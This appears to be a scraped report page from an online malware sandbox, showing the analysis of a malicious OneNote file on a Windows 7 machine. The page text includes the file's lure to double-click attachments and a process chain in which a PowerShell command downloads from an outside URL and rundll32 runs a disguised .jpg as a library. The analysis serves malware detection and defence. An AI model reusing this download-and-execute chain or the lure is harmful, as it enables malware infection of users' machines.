

+  
New analysis

Reports

TI

Start

2:57 AM

Recycle Bin

Skype

pap0litical.png

Acrobat Reader DC

VLC media player

CCleaner

airportwall.rtf

FileZilla Client

asbehind.png

Firefox

aschneault

Google Chrome

excelentap...

Opera

materialism...

Untitled page - Microsoft OneNote

FileHomeInsertShareDrawReviewView

52486a446dd4fc5842a47b57d3febec7.one.vir

Search All Notebooks (Ctrl+E)

Personal

Office 365

This document contains attachments. Double-click to open them, double-click to download them.

MOVE YOUR MOUSE TO VIEW SCREENSHOTS

←

→

OPEN

New Page

Untitled page

Warning

[3136] powershell.exe

Unusual connection from system programs

Suspicious activity

Win7 32 bit  
Complete

Indicators:

Get sample

IOC

MalConf

Restart

Text report

Graph

ATT&CK

AI Summary

Export

CPU

RAM

Processes

Filter by PID or name

Only important

3548 ONENOTE.EXE "C:\Users\admin\Desktop\52486a446dd4fc5842a47b57d3febec7.one.vir"

1872 WScript.exe "C:\Users\admin\AppData\Local\Temp\OneNoteTemp\52486a446dd4fc5842a47b57d3febec7.one.vir"

1544 cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\OneNoteTemp\52486a446dd4fc5842a47b57d3febec7.one.vir""

3136 powershell.exe iwr -uri https://autoingress.com.au/blog/2018/07/01/office-365-attachments-are-not-what-they-seem/

3924 rundll32.exe C:\programdata\ar5TvJaFt.jpg,N115

3584 ONENOTEM.EXE /tsr

HTTP Requests

Connections

DNS Requests

Threats

Filter by PID, name or url

PCAP

Timeshift

Headers

Rep

PID

Process name

CN

URL

Content

No data

Warning

[3136] powershell.exe

Unusual connection from system programs

Try community version for free!

Register now